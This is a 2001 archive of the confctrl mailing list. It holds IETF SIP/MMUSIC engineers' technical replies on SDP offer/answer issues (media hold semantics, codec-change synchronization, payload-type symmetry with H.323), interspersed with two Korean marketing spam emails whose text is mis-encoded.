                  µé¸³´Ï´Ù.</FONT></FONT></MARQUEE></TD></TR>
              <TBODY></TBODY></TABLE></TD></TR>
        <TR>
          <TD bgColor=#aaaaaa height=1></TD></TR>
        <TR align=middle>
          <TD 
          background=http://www.satcampus.com/image/mailing/mailing_1215_4patt.gif>&nbsp;</TD></TR>
        <TR align=middle>
          <TD 
          background=http://www.satcampus.com/image/mailing/mailing_1215_4patt.gif>
            <TABLE cellSpacing=0 cellPadding=0 width=609 border=0>
              <TBODY>
              <TR>
                <TD align=middle 
                background=http://www.satcampus.com/image/mailing/mailing_1214_10.gif><A href="http://www.satcampus.com/ccfe/" target=_blank><IMG height=36 src="http://www.satcampus.com/image/mailing/mailing_1214_11.gif" width=172 border=0></A></TD></TR></TBODY></TABLE></TD></TR>
        <TR align=middle>
          <TD 
          background=http://www.satcampus.com/image/mailing/mailing_1215_4patt.gif>&nbsp;</TD></TR>
        <TR align=middle>
          <TD 
          background=http://www.satcampus.com/image/mailing/mailing_1215_4patt.gif>
            <TABLE cellSpacing=0 cellPadding=0 width=530 border=0>
              <TBODY>
              <TR>
                <TD width=94><IMG height=92 src="http://www.satcampus.com/image/mailing/mailing_1214_12.gif" width=94></TD>
                <TD 
                background=http://www.satcampus.com/image/mailing/mailing_1214_13.gif>
                  <TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
                    <TBODY>
                    <TR>
                      <TD width="13%">&nbsp;</TD>
                      <TD width="87%">¹®ÀÇÀüÈ­ : 02) 564 - 9118, 569 - 
                        8145<BR>¹®ÀǸÞÀÏ : <A href="mailto:buy@satcampus.com">buy@satcampus.com</A> 
                      </TD></TR></TBODY></TABLE></TD>
                <TD width=26><IMG height=92 src="http://www.satcampus.com/image/mailing/mailing_1214_14.gif" width=26></TD></TR></TBODY></TABLE></TD></TR>
        <TR>
          <TD 
          background=http://www.satcampus.com/image/mailing/mailing_1215_4patt.gif>&nbsp;</TD></TR>
        <TR>
          <TD>
            <TABLE cellSpacing=0 cellPadding=0 width=611 
            background=http://www.satcampus.com/image/mailing/mailing_1214_15.gif 
            border=0>
              <TBODY>
              <TR>
                <TD width=9><IMG height=23 src="http://www.satcampus.com/image/mailing/mailing_1214_16.gif" width=9></TD>
                <TD align=middle><IMG height=23 src="http://www.satcampus.com/image/mailing/mailing_1214_18.gif" width=295></TD>
                <TD align=right width=9><IMG height=23 src="http://www.satcampus.com/image/mailing/mailing_1214_17.gif" width=9></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>
<P>&nbsp;</P></body><br><IMG width=0 height=0 src='http://61.99.120.2:8080/servlet/DongboServlet?RETN_RSEQ=ETALKPR_20011221091426343&RETN_USER=confctrl@isi.edu&RETN_MAIL=confctrl@isi.edu&start_date=2001-12-21 09:14:03&end_date=2001-12-21 09:14:03&imgname=Dongbo.gif'></html>


From confctrl-owner  Thu Dec 20 19:49:57 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id TAA25495
	for confctrl-outgoing; Thu, 20 Dec 2001 19:49:57 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id TAA25490
	for <confctrl@zephyr.isi.edu>; Thu, 20 Dec 2001 19:49:56 -0800 (PST)
Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.24.11])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBL3ojg02279
	for <confctrl@isi.edu>; Thu, 20 Dec 2001 19:50:45 -0800 (PST)
Received: from cisco.com (rtp-vpn2-199.cisco.com [10.82.240.199])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id fBL3kK102545;
	Thu, 20 Dec 2001 19:46:20 -0800 (PST)
Message-ID: <3C22B0AC.2E1DDE79@cisco.com>
Date: Thu, 20 Dec 2001 22:46:52 -0500
From: Flemming Andreasen <fandreas@cisco.com>
X-Mailer: Mozilla 4.78 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: "Drage, Keith (Keith)" <drage@lucent.com>, sip@ietf.org, mmusic@ietf.org,
        confctrl@ISI.EDU
Subject: Re: [MMUSIC] Re: [Sip] Open Issue #150: too many ways of saying "don't 
 send me media"
References: <3C210DA2.8020804@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Jonathan Rosenberg wrote:

> Beyond Keiths objection at IETF52 to discussing this in the sip group at
> all (I have cc'd mmusic), consensus on this proposal at the meeting was
> that as long as there were well defined semantics for all of these,
> there is no reason to prevent someone from using them.
>
> The semantics are:
>
> c=0.0.0.0: will cease reception of RTP and RTCP, no longer the
> recommended way to do hold, has issues with SRTP keying, ipv6,
> connection oriented media, etc. Generally bad.
>
> a=inactive/sendonly - stops only RTP
>
> port 0: turns of media streams - safe to unload codecs, etc.
>
> bw=0: will turn off reception of RTP and RTCP

Do we really need the "bw" one ? It seems like a misuse to me. After all, you
wouldn't start sending every other packet if the allowable bandwidth was cut in
half. Also, if we head down this path, why not have a zero maxptime to do the
same ? Unless there is a real need for this, it should rather be forbidden to
do these kinds of silly things IMO.

-- Flemming



>
>
> Thanks,
> Jonathan R.
>
> Drage, Keith (Keith) wrote:
>
> > Given that all SDP has now been removed from the bis draft, I am not sure
> > how this remains a SIP WG open issue.
> >
> > Surely this issue has now transferred to the MMUSIC documentation.
> >
> > Keith
> >
> > Keith Drage
> > Lucent Technologies
> > Tel: +44 1793 776249
> > Email: drage@lucent.com
> >
> >
> >>----------
> >>From:         Jonathan Rosenberg[SMTP:jdrosen@dynamicsoft.com]
> >>Sent:         06 December 2001 5:41
> >>To:   'sip@ietf.org'
> >>Subject:      [Sip] Open Issue #150: too many ways of saying "don't send
> >>me media"
> >>
> >>Issue:
> >>
> >>There are a bunch of ways to say "don't send me media":
> >>
> >>c=0.0.0.0
> >>a=inactive,sendonly
> >>zero port
> >>bw=0
> >>
> >>What do these all mean, and do we need them all?
> >>
> >>Discussion: We've agreed on most of this already. The only real issue is
> >>to
> >>say that bw=0 is never used. So, the proposal is:
> >>
> >>c=0.0.0.0          DEPRECATED
> >>a=inactive,sendly  PREFERRED
> >>zero port:         disables media stream
> >>bw=0               DONT USE
> >>
> >>-Jonathan R.
> >>---
> >>Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
> >>Chief Scientist                             First Floor
> >>dynamicsoft                                 East Hanover, NJ 07936
> >>jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> >>http://www.jdrosen.net                      PHONE: (973) 952-5000
> >>http://www.dynamicsoft.com
> >>
> >>
> >>_______________________________________________
> >>Sip mailing list  http://www1.ietf.org/mailman/listinfo/sip
> >>This list is for NEW development of the core SIP Protocol
> >>Use sip-implementors@cs.columbia.edu for questions on current sip
> >>Use sipping@ietf.org for new developments on the application of sip
> >>
> >
>
> --
> Jonathan D. Rosenberg, Ph.D.            72 Eagle Rock Avenue
> Chief Scientist                         First Floor
> dynamicsoft                             East Hanover, NJ 07936
> jdrosen@dynamicsoft.com                 FAX: (973) 952-5050
> http://www.jdrosen.net                  PH:  (973) 952-5000
> http://www.dynamicsoft.com
>
> _______________________________________________
> mmusic mailing list
> mmusic@ietf.org
> https://www1.ietf.org/mailman/listinfo/mmusic

--
Flemming Andreasen
Cisco Systems



From confctrl-owner  Thu Dec 20 21:28:35 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id VAA28730
	for confctrl-outgoing; Thu, 20 Dec 2001 21:28:35 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id VAA28725
	for <confctrl@zephyr.isi.edu>; Thu, 20 Dec 2001 21:28:34 -0800 (PST)
Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.24.11])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBL5TNg26530
	for <confctrl@isi.edu>; Thu, 20 Dec 2001 21:29:23 -0800 (PST)
Received: from cisco.com (rtp-vpn2-199.cisco.com [10.82.240.199])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id fBL5Sc108880;
	Thu, 20 Dec 2001 21:28:39 -0800 (PST)
Message-ID: <3C22C8A7.3EAB9B9@cisco.com>
Date: Fri, 21 Dec 2001 00:29:11 -0500
From: Flemming Andreasen <fandreas@cisco.com>
X-Mailer: Mozilla 4.78 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: mmusic@ietf.org, confctrl@ISI.EDU
Subject: Re: [MMUSIC] resolving open issues in offer/answer
References: <3C2041D2.2030908@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Jonathan Rosenberg wrote:

>
> ISSUE 4: synchronizing codec changes. The agreement at the meeting was a
> third proposal. Whenever you send a new offer with a set of codecs which
>   is not the same as the previous, and overlaps in some way, you
> basically use a new dynamic PT for each codec. THis way, when the UA
> receives media with one of those new PT, it can unload any of the codecs
> which no longer overlap.
>
> Since the meeting, I have become worried about this.

I agree. Also, it doesn't work with static payload types not to mention that
I suspect most implementations don't do this kind of thing.


> Basically, any
> useful reinvite will require new dynamic PT for all codecs. You could
> very well exhaust the set of dynamic PT, since there are so few (127 of
> them).
>
> Some other ideas:
>
> 1. change the ssrc when you send with the new codec set. The receiver
> can drop uneeded codecs when it sees the new ssrc. This only works for
> unicast.

Actually, I don't even think it does. If you have multiple senders sending
media to you, how do you know which SSRC corresponds to which sender ? Also,
it is possible than an SSRC change might happen for other reasons
(admittedly, we are getting down to a rather small window for this race).


>
>
> 2. change in set of codecs has to also be accompanied by a port change;
> when you see data on the new port, you can unload any unneeded codecs.

However, such a requirement interacts with resource reservation in a
negative way so I'd rather not do that. Out-of-order delivery could also
lead to unnecesarry discard of some packets (small window again admittedly).

Fundamentally, I don't believe the synchronization problem can be solved
completely and hence we end with a heuristic no matter what. In tha case,
I'd prefer something very simply that doesn't rely on SSRC's, sequence
numbers or is tied to the specifics of the media stream in any other way. I
will contend, that if the answerer sends a media packet and an answer at
time t, then in practice it is *very* likely that the media packet will
arrive no later than the answer at the offerer. In practice, this means that
the offerer MAY simply stop accepting according to the old offer at the time
it receives the answer.

Also note that this issue applies equally well to the answerer, i.e. at what
point does the answerer stop accepting media according to the old
offer/answer exchange (I don't believe there was any text proposed for
this). This problem is actually worse inasmuch as the answerer doesn't know
when/if the offerer actually got the answer (not that I'm proposing it, but
it's hard to see how you can solve this without a 3-way handshake).

One idea would be to put constraints on allowable operation while there is
an outstanding offer in place. More specifically, if the current media
stream has codecs X and Y as allowable codecs and the new offer has codec X
and Z as allowable codecs, then you should not send media with codec Y while
the offer is outstanding. That way, the answerer can stop listening for
codec Y at the time the answer is sent. However, in practice this is
probably not all that desirable, e.g. consider the case where X is RFC 2833,
and Y and Z are voice codecs, or the case where X is a high-bw codec needed
for voiceband date transfer and Y and Z are codecs used for normal voice.

Any other ideas ?


-- Flemming

--
Flemming Andreasen
Cisco Systems



From confctrl-owner  Thu Dec 20 21:30:38 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id VAA28839
	for confctrl-outgoing; Thu, 20 Dec 2001 21:30:38 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id VAA28834
	for <confctrl@zephyr.isi.edu>; Thu, 20 Dec 2001 21:30:37 -0800 (PST)
Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.24.11])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBL5VQg27245
	for <confctrl@ISI.EDU>; Thu, 20 Dec 2001 21:31:26 -0800 (PST)
Received: from cisco.com (rtp-vpn2-199.cisco.com [10.82.240.199])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id fBL5Uf109716;
	Thu, 20 Dec 2001 21:30:41 -0800 (PST)
Message-ID: <3C22C921.71BA0AE@cisco.com>
Date: Fri, 21 Dec 2001 00:31:14 -0500
From: Flemming Andreasen <fandreas@cisco.com>
X-Mailer: Mozilla 4.78 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Paul Kyzivat <pkyzivat@cisco.com>
CC: Jonathan Rosenberg <jdrosen@dynamicsoft.com>, mmusic@ietf.org,
        confctrl@ISI.EDU
Subject: Re: [MMUSIC] Re: resolving open issues in offer/answer
References: <3C2041D2.2030908@dynamicsoft.com> <3C223470.18E804AE@cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Paul Kyzivat wrote:

> Comments below - Paul
>
> Jonathan Rosenberg wrote:
> >
> > Folks,
> >
> > I want to try and move swiftly towards closure of the open issues in
> > offer/answer. I presented slides at IETF 52 on these issues, which you
> > can pick up from:
>
> > ISSUE 2: Be prepared to send&recv on bidirectional stream when you send
> > the SDP. Consensus to update text to indicate that you need to be
> > prepared to both send and receive.
>
> I don't understand the point in requiring someone to be prepared to
> send.
>

There were two issues here. First one was that we always want codecs listed on
a bi-directional stream to indicate a send and receive capability. Second one
was, that even if you have only sent an initial offer, and not yet gotten a
response, it is possible to send media when using connection-oriented media
streams if the connection is established before you get the answer. In that
case, you need to be prepared to both send and receive at the time of the
offer.



>
> Even if you are fully prepared to send, you may not send anything
> because you just don't have anything to say. Can the spec mandate that
> you MUST send something?

No (nor should it)

-- Flemming

--
Flemming Andreasen
Cisco Systems



From confctrl-owner  Thu Dec 20 22:20:06 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id WAA00721
	for confctrl-outgoing; Thu, 20 Dec 2001 22:20:06 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id WAA00716
	for <confctrl@zephyr.isi.edu>; Thu, 20 Dec 2001 22:20:05 -0800 (PST)
Received: from paris.packetizer.org (system@rdu26-244-205.nc.rr.com [66.26.244.205])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBL6Ksg10072
	for <confctrl@isi.edu>; Thu, 20 Dec 2001 22:20:54 -0800 (PST)
Received: from PAULEJW2K1 (geneva.packetizer.org [192.168.1.2])
	by paris.packetizer.org (8.11.2/8.11.2) with SMTP id fBL6MWY18589;
	Fri, 21 Dec 2001 01:22:33 -0500
Message-ID: <012c01c189e7$a4afcd40$63a86840@cisco.com>
From: "Paul E. Jones" <paulej@packetizer.com>
To: "Flemming Andreasen" <fandreas@cisco.com>,
        "Jonathan Rosenberg" <jdrosen@dynamicsoft.com>
Cc: "MMUSIC" <confctrl@ISI.EDU>, <mmusic@ietf.org>
References: <3C20FC2B.57FF8E5A@cisco.com> <3C214151.8080706@dynamicsoft.com> <3C222FA2.5AE8794C@cisco.com>
Subject: Re: [MMUSIC] Why must PT be the same in send and receive direction ?
Date: Fri, 21 Dec 2001 01:20:46 -0500
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Flemming and Jonathan,

I think the reason that the symmetry of PTs has not been an issue up to this
point are two-fold:
  1) Interworking between H.245 and SDP-based systems has had less focus
  2) There have previously been few dynamic PTs used within H.245
     for which people have tried to interwork with SDP-based
     (Of course, they are used, but few people have cared about whether
      those PTs being used worked with SDP-based systems or not.  I believe
      the first problem encounter that is of concern is the interworking
      of RFC 2833.)

As we look at new codec types and the exchange of other signaling that rely
on dynamic payload types, the H.323/SDP interworking problems in this area
are forcing us to take note of the issues here.

Within H.323, it is possible to exchange PTs in two ways:
  1) In the Setup message, and endpoint may propose "forward"
     and "reverse" audio/video/data channels and include the
     dynamic payload types
  2) The PTs might be conveyed through H.245 capabilities exchange
     (which is asymmetrical by nature)

In either case, it is possible to have asymmetric usage of payload types.  I
would suspect that in most cases, endpoint vendors who use (1) will specify
the same PT for the "forward" and the "reverse" audio channel, though that
is not required.  For channels opened with knowledge learned through (2),
there is certainly no guarantee of symmetric payload types.  Additionally,
there has not been a sense that such a restrictive requirement is necessary.

Media clipping is not an issue in (1) any more so than when using SDP-based
protocols.  However, the use of (2) alone certainly might increase the
chances of clipping media, as the PTs may not be known at the calling
endpoint before media is received.  Hence, method (1) is strongly
encouraged, with method (2) used to provide information about capabilities
that may be utilized during or after call setup that less time sensitive,
such as T.120 multipoint data conferencing.  (2) is also used in order to
establish A/V communication wherein the proposals from (1) are not
acceptable to the called party.

In any case, interoperability between the two systems when using dynamic
payload types is a real issue that we need to tackle.

Paul

----- Original Message -----
From: "Flemming Andreasen" <fandreas@cisco.com>
To: "Jonathan Rosenberg" <jdrosen@dynamicsoft.com>
Cc: "MMUSIC" <confctrl@isi.edu>; <mmusic@ietf.org>; "Paul E Jones"
<paulej@cisco.com>
Sent: Thursday, December 20, 2001 1:36 PM
Subject: Re: [MMUSIC] Why must PT be the same in send and receive direction
?


>
>
> Jonathan Rosenberg wrote:
>
> > Flemming Andreasen wrote:
> >
> > > The offer/answer model is quite explicit in stating that the payload
> > > type for a given codec MUST be the same in the send and receive
> > > direction and hence the payload type mapping for codec X in MUST be
the
> > > same in the offer and answer. However, this can cause a great deal of
> > > grief when interworking with H.323 based systems, since they can't
> > > necessarily guarantee this property.
> > >
> > > Now I can't think of a lot of reasons for the above offer/answer
> > > restriction, except that it guarantees a proper interpretation of a
> > > given payload type prior to receiving the actual answer to the offer.
> >
> > Well, thats a good one. You are guaranteed to have media clipping
> > without this feature.
> >
>
> Not quite: you are not guaranteed to not have media clipping without
> this
> feature.
>
> >
> > It also makes it easy for the offerer to determine, from the answer, the
> > matching of codecs in the offer to the answer. Its a simple numeric
> > comparison.
>
> True
>
> > Without the same PT numbers, you need to do a
> > canonicalization based on the actual codec and parameters. Even minor
> > inconsistencies in the construction of the rtpmaps in the answer can
> > cause confusion about which codec is which.
>
> Not sure I see that. The only rule we have right now is that the payload
> type
> mapping must be the same in both directions, hence the only difference
> is
> whether you follow a dynamic payload type mapping to its canonical name
> or
> not.
>
>
> >
> > Its also consistent with multicast operation.
>
> >
> > Overall, I think its just simpler.
>
> I agree with that, but I don't see a huge difference.
>
>
> >
> > > Unless there is another good reason for the restriction, I would like
to
> > > propose, that we allow it to be relaxed, i.e. turn it into a SHOULD
and
> > > put in a proper note explaining what might happen if you don't follow
> > > it.
> >
> > Well, this turns into an interop nightmare for sip. We will have a
> > complete interop failure if a new UA generates an answer with different
> > payload types.
> >
> > This text has also been in there for a very long time.
>
> I know and that's a big concern to me too (if we were to make any
> changes).
>
>
> > How come no one
> > complained about this H.323 issue before? Its the first I've heard of
it.
>
> Don't know, but it's apparently been around for a while. My H.323
> expertise is
> admittedly a little rusty (cc'ing more knowledgeable people here), but I
> believe the problem is that the H.245 OpenLogicaChannel request can be
> used to
> open a uni-directional or bi-directional stream, however in either case,
> it is
> possible that the sender and receiver end up specifying different
> payload type
> mappings for a given codec. This is particular troublesome in the case
> where
> the two sides open a uni-directional stream to the other side in
> parallel.
>
> Given the long-standing existing SDP/offer/answer baggage we have here,
> I
> believe you need to go for the lowest common denominator when mapping
> between
> SIP/SDP and H.323, and hence H.323 should have procedures in place to
> resolve
> asymmetric payload type mappings in cases where you need symmetry, but I
> wanted to raise the issue here to see what people think.
>
> Thanks
>
>         Flemming
>
> >
> > -Jonathan R.
> >
> > --
> > Jonathan D. Rosenberg, Ph.D.            72 Eagle Rock Avenue
> > Chief Scientist                         First Floor
> > dynamicsoft                             East Hanover, NJ 07936
> > jdrosen@dynamicsoft.com                 FAX: (973) 952-5050
> > http://www.jdrosen.net                  PH:  (973) 952-5000
> > http://www.dynamicsoft.com
> >
> > _______________________________________________
> > mmusic mailing list
> > mmusic@ietf.org
> > https://www1.ietf.org/mailman/listinfo/mmusic
>
> --
> Flemming Andreasen
> Cisco Systems
>


From confctrl-owner  Fri Dec 21 04:26:57 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id EAA12422
	for confctrl-outgoing; Fri, 21 Dec 2001 04:26:57 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id EAA12417
	for <confctrl@zephyr.isi.edu>; Fri, 21 Dec 2001 04:26:56 -0800 (PST)
Received: from parajura.ns.parajura.net ([61.79.230.195])
	by tnt.isi.edu (8.11.6/8.11.2) with SMTP id fBLCRjg17894
	for <confctrl@isi.edu>; Fri, 21 Dec 2001 04:27:45 -0800 (PST)
Received: from m8f4n7 (unverified [211.41.61.1]) by parajura.ns.parajura.net
 (EMWAC SMTPRS 0.83) with SMTP id <B0000150292@parajura.ns.parajura.net>;
 Fri, 21 Dec 2001 21:26:40 +0900
Message-ID: <B0000150292@parajura.ns.parajura.net>
From: =?ks_c_5601-1987?B?x9G8rrrA?= <hansb@hanmail.net>
To: confctrl@ISI.EDU
Subject: =?ks_c_5601-1987?B?W8GkurhdIKHaILXltvPAzLrqIMTavbogvsizuw==?=
Date: Fri, 21 Dec 2001 09:33:05 +0900
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0097_01C0F21A.93A33C00"
X-Priority: 3
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_0097_01C0F21A.93A33C00
Content-Type: text/plain;
	charset="ks_c_5601-1987"
Content-Transfer-Encoding: base64

Ojo6Ojo6OiDD38O1ISC15bbzwMy66sTavbogOjo6Ojo6OiAgICAgICAgICAgICAgICAgICAg
ICAgICA=

------=_NextPart_000_0097_01C0F21A.93A33C00
Content-Type: text/html;
	charset="ks_c_5601-1987"
Content-Transfer-Encoding: base64

PGh0bWw+DQo8aGVhZD4NCjx0aXRsZT46Ojo6Ojo6IMPfw7UhILXltvPAzLrqxNq9uiA6Ojo6
Ojo6PC90aXRsZT4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0i
dGV4dC9odG1sOyBjaGFyc2V0PWV1Yy1rciI+DQo8L2hlYWQ+DQoNCjxib2R5IGJnY29sb3I9
IiNGRkZGRkYiIHRleHQ9IiMwMDAwMDAiIGxlZnRtYXJnaW49IjAiIHRvcG1hcmdpbj0iMCI+
DQo8dGFibGUgd2lkdGg9IjYwMCIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBh
ZGRpbmc9IjAiPg0KICA8dHI+DQogICAgPHRkIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaHR0
cDovL3BhcmFqdXJhLmNvbS9zcF9tYWlsL2ltYWdlL2RyaXZlY291cnNlMV8xLmdpZiIgd2lk
dGg9IjYwMCIgaGVpZ2h0PSI4MiI+PC90ZD4NCiAgPC90cj4NCiAgPHRyPg0KICAgIDx0ZCB2
YWxpZ249InRvcCI+PGltZyBzcmM9Imh0dHA6Ly9wYXJhanVyYS5jb20vc3BfbWFpbC9pbWFn
ZS9kcml2ZWNvdXJzZTFfMi5naWYiIHdpZHRoPSI2MDAiIGhlaWdodD0iMTY1Ij48L3RkPg0K
ICA8L3RyPg0KICA8dHI+DQogICAgPHRkIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaHR0cDov
L3BhcmFqdXJhLmNvbS9zcF9tYWlsL2ltYWdlL2RyaXZlY291cnNlMV8zLmdpZiIgd2lkdGg9
IjYwMCIgaGVpZ2h0PSIyMDMiIHVzZW1hcD0iI01hcDIiIGJvcmRlcj0iMCI+PC90ZD4NCiAg
PC90cj4NCiAgPHRyPg0KICAgIDx0ZCB2YWxpZ249InRvcCI+PGltZyBzcmM9Imh0dHA6Ly9w
YXJhanVyYS5jb20vc3BfbWFpbC9pbWFnZS9kcml2ZWNvdXJzZTFfNC5naWYiIHdpZHRoPSI2
MDAiIGhlaWdodD0iMjEiIHVzZW1hcD0iI01hcCIgYm9yZGVyPSIwIj48L3RkPg0KICA8L3Ry
Pg0KICA8dHI+DQogICAgPHRkIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaHR0cDovL3BhcmFq
dXJhLmNvbS9zcF9tYWlsL2ltYWdlL2RyaXZlY291cnNlMV81LmdpZiIgd2lkdGg9IjYwMCIg
aGVpZ2h0PSIxOTgiPjwvdGQ+DQogIDwvdHI+DQogIDx0cj4NCiAgICA8dGQgdmFsaWduPSJ0
b3AiPjxpbWcgc3JjPSJodHRwOi8vcGFyYWp1cmEuY29tL3NwX21haWwvaW1hZ2UvZHJpdmVj
b3Vyc2UxXzYuZ2lmIiB3aWR0aD0iNjAwIiBoZWlnaHQ9IjM5IiB1c2VtYXA9IiNNYXAzIiBi
b3JkZXI9IjAiPjwvdGQ+DQogIDwvdHI+DQogIDx0cj4NCiAgICA8dGQgdmFsaWduPSJ0b3Ai
PjxpbWcgc3JjPSJodHRwOi8vcGFyYWp1cmEuY29tL3NwX21haWwvaW1hZ2UvZHJpdmVjb3Vy
c2UxXzcuZ2lmIiB3aWR0aD0iNjAwIiBoZWlnaHQ9IjYzIiB1c2VtYXA9IiNNYXA0IiBib3Jk
ZXI9IjAiPjwvdGQ+DQogIDwvdHI+DQo8L3RhYmxlPg0KPG1hcCBuYW1lPSJNYXAiPg0KICA8
YXJlYSBzaGFwZT0icmVjdCIgY29vcmRzPSIxMTksMSwxNzIsMjEiIGhyZWY9Imh0dHA6Ly8y
MjAwNDk4OS5jb20vbWVtYmVyc2hpcC9tZW1iZXJfZ2FpcC5hc3AiIHRhcmdldD0iX2JsYW5r
Ij4NCjwvbWFwPg0KPG1hcCBuYW1lPSJNYXAyIj4NCiAgPGFyZWEgc2hhcGU9InJlY3QiIGNv
b3Jkcz0iMTcsNDMsNTgzLDIwMCIgaHJlZj0iaHR0cDovLzIyMDA0OTg5LmNvbSIgdGFyZ2V0
PSJfYmxhbmsiPg0KPC9tYXA+DQo8bWFwIG5hbWU9Ik1hcDMiPg0KICA8YXJlYSBzaGFwZT0i
cmVjdCIgY29vcmRzPSIxOTksMiwzODUsNDgiIGhyZWY9Imh0dHA6Ly8yMjAwNDk4OS5jb20i
IHRhcmdldD0iX2JsYW5rIj4NCjwvbWFwPg0KPG1hcCBuYW1lPSJNYXA0Ij4NCiAgPGFyZWEg
c2hhcGU9InJlY3QiIGNvb3Jkcz0iMTQ5LDQyLDIwMiw1NyIgaHJlZj0ibWFpbHRvOmNvcmVA
cGFyYWp1cmEuY29tIj4NCjwvbWFwPg0KPC9ib2R5Pg0KPC9odG1sPg0K

------=_NextPart_000_0097_01C0F21A.93A33C00--


From confctrl-owner  Fri Dec 21 05:59:14 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id FAA15366
	for confctrl-outgoing; Fri, 21 Dec 2001 05:59:14 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id FAA15361
	for <confctrl@zephyr.isi.edu>; Fri, 21 Dec 2001 05:59:13 -0800 (PST)
Received: from rtp-msg-core-1.cisco.com (rtp-msg-core-1.cisco.com [161.44.11.97])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBLE02g24864
	for <confctrl@ISI.EDU>; Fri, 21 Dec 2001 06:00:02 -0800 (PST)
Received: from cannon.cisco.com (localhost [127.0.0.1])
	by rtp-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id fBLE03v27187;
	Fri, 21 Dec 2001 09:00:03 -0500 (EST)
Received: from cisco.com (dhcp-161-44-241-140.cisco.com [161.44.241.140])
	by cannon.cisco.com (Mirapoint)
	with ESMTP id AAH22266 (AUTH pkyzivat);
	Fri, 21 Dec 2001 09:01:18 -0500 (EST)
Message-ID: <3C233F5C.C29DBC60@cisco.com>
Date: Fri, 21 Dec 2001 08:55:40 -0500
From: Paul Kyzivat <pkyzivat@cisco.com>
X-Mailer: Mozilla 4.76 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Flemming Andreasen <fandreas@cisco.com>
CC: Jonathan Rosenberg <jdrosen@dynamicsoft.com>, mmusic@ietf.org,
        confctrl@ISI.EDU
Subject: Re: [MMUSIC] Re: resolving open issues in offer/answer
References: <3C2041D2.2030908@dynamicsoft.com> <3C223470.18E804AE@cisco.com> <3C22C921.71BA0AE@cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Sorry, but I still don't get it.

Let me put it another way. This is adding normative language requiring
the sender of SDP to be prepared to send. How would that be verified? Is
there any possible way to distinguish between being unprepared to send
(nonconforming) and simply having no desire to send (conforming)?

	Paul

Flemming Andreasen wrote:
> 
> Paul Kyzivat wrote:
> 
> > Comments below - Paul
> >
